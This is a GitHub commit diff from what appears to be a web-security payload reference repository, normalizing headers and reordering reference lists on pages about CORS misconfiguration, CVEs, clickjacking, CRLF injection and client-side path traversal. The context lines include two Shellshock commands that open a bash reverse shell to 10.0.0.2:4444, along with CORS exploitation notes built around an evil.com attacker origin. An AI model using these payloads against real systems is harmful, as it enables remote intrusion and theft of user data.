Skip to content

Commit d80f73a

Browse files
committed
Normalize page header for API, CSPT, CORS, CSRF
1 parent c82cd64 commit d80f73a

File tree

10 files changed

+135
-90
lines changed

10 files changed

+135
-90
lines changed

API Key Leaks/IIS-Machine-Keys.md

+6-6
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,6 @@
1616
* [References](#references)
1717

1818

19-
**Requirements**
20-
21-
* `__VIEWSTATE`
22-
* `__VIEWSTATEGENERATOR`*
23-
24-
2519
## Viewstate Format
2620

2721
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
@@ -135,6 +129,12 @@ List of interesting machine keys to use:
135129
136130
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
137131
132+
**Requirements**
133+
134+
* `__VIEWSTATE`
135+
* `__VIEWSTATEGENERATOR`
136+
137+
138138
### MAC Is Not Enabled
139139
140140
```ps1

CORS Misconfiguration/README.md

+33-22
Original file line numberDiff line numberDiff line change
@@ -2,13 +2,21 @@
22

33
> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
44
5+
56
## Summary
67

78
* [Tools](#tools)
8-
* [Prerequisites](#prerequisites)
9+
* [Requirements](#requirements)
910
* [Exploitation](#exploitation)
11+
* [Origin Reflection](#origin-reflection)
12+
* [Null Origin](#null-origin)
13+
* [XSS on Trusted Origin](#xss-on-trusted-origin)
14+
* [Wildcard Origin `*` without Credentials](#wildcard-origin--without-credentials)
15+
* [Expanding the Origin](#expanding-the-origin)
16+
* [Labs](#labs)
1017
* [References](#references)
1118

19+
1220
## Tools
1321

1422
* [s0md3v/Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
@@ -17,17 +25,19 @@
1725
* [trufflesecurity/of-cors - Exploit CORS misconfigurations on the internal networks](https://github.com/trufflesecurity/of-cors)
1826
* [omranisecurity/CorsOne - Fast CORS Misconfiguration Discovery Tool](https://github.com/omranisecurity/CorsOne)
1927

20-
## Prerequisites
28+
29+
## Requirements
2130

2231
* BURP HEADER> `Origin: https://evil.com`
2332
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
2433
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
2534

35+
2636
## Exploitation
2737

2838
Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
2939

30-
### Vulnerable Example: Origin Reflection
40+
### Origin Reflection
3141

3242
#### Vulnerable Implementation
3343

@@ -87,7 +97,7 @@ or
8797
</html>
8898
```
8999

90-
### Vulnerable Example: Null Origin
100+
### Null Origin
91101

92102
#### Vulnerable Implementation
93103

@@ -128,7 +138,7 @@ origin in the request:
128138
</script>"></iframe>
129139
```
130140

131-
### Vulnerable Example: XSS on Trusted Origin
141+
### XSS on Trusted Origin
132142

133143
If the application does implement a strict whitelist of allowed origins, the
134144
exploit codes from above do not work. But if you have an XSS on a trusted
@@ -139,7 +149,7 @@ again.
139149
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
140150
```
141151

142-
### Vulnerable Example: Wildcard Origin `*` without Credentials
152+
### Wildcard Origin `*` without Credentials
143153

144154
If the server responds with a wildcard origin `*`, **the browser does never send
145155
the cookies**. However, if the server does not require authentication, it's still
@@ -178,7 +188,9 @@ function reqListener() {
178188
};
179189
```
180190

181-
### Vulnerable Example: Expanding the Origin / Regex Issues
191+
192+
### Expanding the Origin
193+
182194
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
183195

184196
#### Vulnerable Implementation (Example 1)
@@ -247,26 +259,25 @@ function reqListener() {
247259
};
248260
```
249261

250-
## Labs
251262

252-
* [CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
253-
* [CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
254-
* [CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
255-
* [CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
263+
## Labs
256264

257-
## Bug Bounty reports
265+
* [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
266+
* [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
267+
* [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
268+
* [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
258269

259-
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
260-
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
261-
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
262-
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
263-
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
264270

265271
## References
266272

267-
- [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
268-
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
269-
- [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
273+
- [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
270274
- [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
275+
- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
276+
- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
277+
- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
278+
- [CORS Misconfigurations Explained - Detectify Blog - Apr 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
271279
- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
272-
- [CORS Misconfigurations Explained - Detectify Blog - Apr 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
280+
- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
281+
- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
282+
- [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
283+
- [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

CRLF Injection/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -112,7 +112,7 @@ Remainder:
112112

113113
## Labs
114114

115-
* [Lab: HTTP/2 request splitting via CRLF injection - PortSwigger](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
115+
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
116116

117117

118118
## References

CVE Exploits/README.md

+25-4
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,21 @@
11
# Common Vulnerabilities and Exposures
22

3+
A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
4+
5+
## Summary
6+
7+
* [Tools](#tools)
8+
* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
9+
* [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
10+
* [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
11+
* [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
12+
* [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
13+
* [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
14+
* [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
15+
* [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
16+
* [References](#references)
17+
18+
319
## Tools
420

521
- [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
@@ -8,7 +24,7 @@
824
- [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
925

1026

11-
## Big CVEs in the last 5 years.
27+
## Big CVEs in the last 15 years
1228

1329
### CVE-2017-0144 - EternalBlue
1430

@@ -24,19 +40,23 @@ Afftected systems:
2440
- Windows 10 Gold, 1511, and 1607
2541
- Windows Server 2016
2642

43+
2744
### CVE-2017-5638 - Apache Struts 2
2845

2946
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
3047

48+
3149
### CVE-2018-7600 - Drupalgeddon 2
3250

3351
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
3452

53+
3554
### CVE-2019-0708 - BlueKeep
3655

3756
A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
3857

39-
### CVE-2019-19781 - Citrix ADC Netscaler
58+
59+
### CVE-2019-19781 - Citrix ADC Netscaler
4060

4161
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
4262

@@ -47,12 +67,12 @@ Affected products:
4767
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
4868
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
4969

50-
## Older, but not forgotten
5170

5271
### CVE-2014-0160 - Heartbleed
5372

5473
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
5574

75+
5676
### CVE-2014-6271 - Shellshock
5777

5878
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
@@ -62,7 +82,8 @@ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0
6282
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
6383
```
6484

65-
## Thanks to
85+
86+
## References
6687

6788
* [Heartbleed - Official website](http://heartbleed.com)
6889
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))

Clickjacking/README.md

+5-8
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
# Clickjacking
22

3-
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives,
4-
> potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions
5-
> as such as typing in the password, clicking on ‘Delete my account’ button, liking a post, deleting a post, commenting on a blog. In other words all the actions
6-
> that a normal user can do on a legitimate website can be done using clickjacking.
3+
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account’ button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
74
85
## Summary
96

@@ -22,8 +19,8 @@
2219
* [IE8 XSS filter](#ie8-xss-filter)
2320
* [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
2421
* [Challenge](#challenge)
25-
* [Practice Environments](#practice-environments)
26-
* [Reference](#references)
22+
* [Labs](#labs)
23+
* [References](#references)
2724

2825
## Tools
2926

@@ -229,10 +226,10 @@ Inspect the following code:
229226
Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
230227

231228

232-
## Practice Environments
229+
## Labs
233230

234231
* [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
235-
* [Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
232+
* [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
236233

237234

238235
## References

Client Side Path Traversal/README.md

+12-9
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,18 @@
11
# Client Side Path Traversal
22

3-
Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
4-
It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
5-
Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
3+
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
4+
5+
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
6+
7+
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
8+
69

710
## Summary
811

912
* [Tools](#tools)
10-
* [Lab](#lab)
1113
* [CSPT to XSS](#cspt-to-xss)
1214
* [CSPT to CSRF](#cspt-to-xss)
15+
* [Labs](#labs)
1316
* [References](#references)
1417

1518

@@ -18,11 +21,6 @@ Since every request is initiated from within the frontend of the application, th
1821
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
1922

2023

21-
## Lab
22-
23-
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
24-
25-
2624
## CSPT to XSS
2725

2826
![](https://matanber.com/images/blog/cspt-query-param.png)
@@ -61,6 +59,11 @@ Real-World Scenarios:
6159
* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
6260

6361

62+
## Labs
63+
64+
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
65+
66+
6467
## References
6568

6669
- [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)

0 commit comments

Comments
 (0)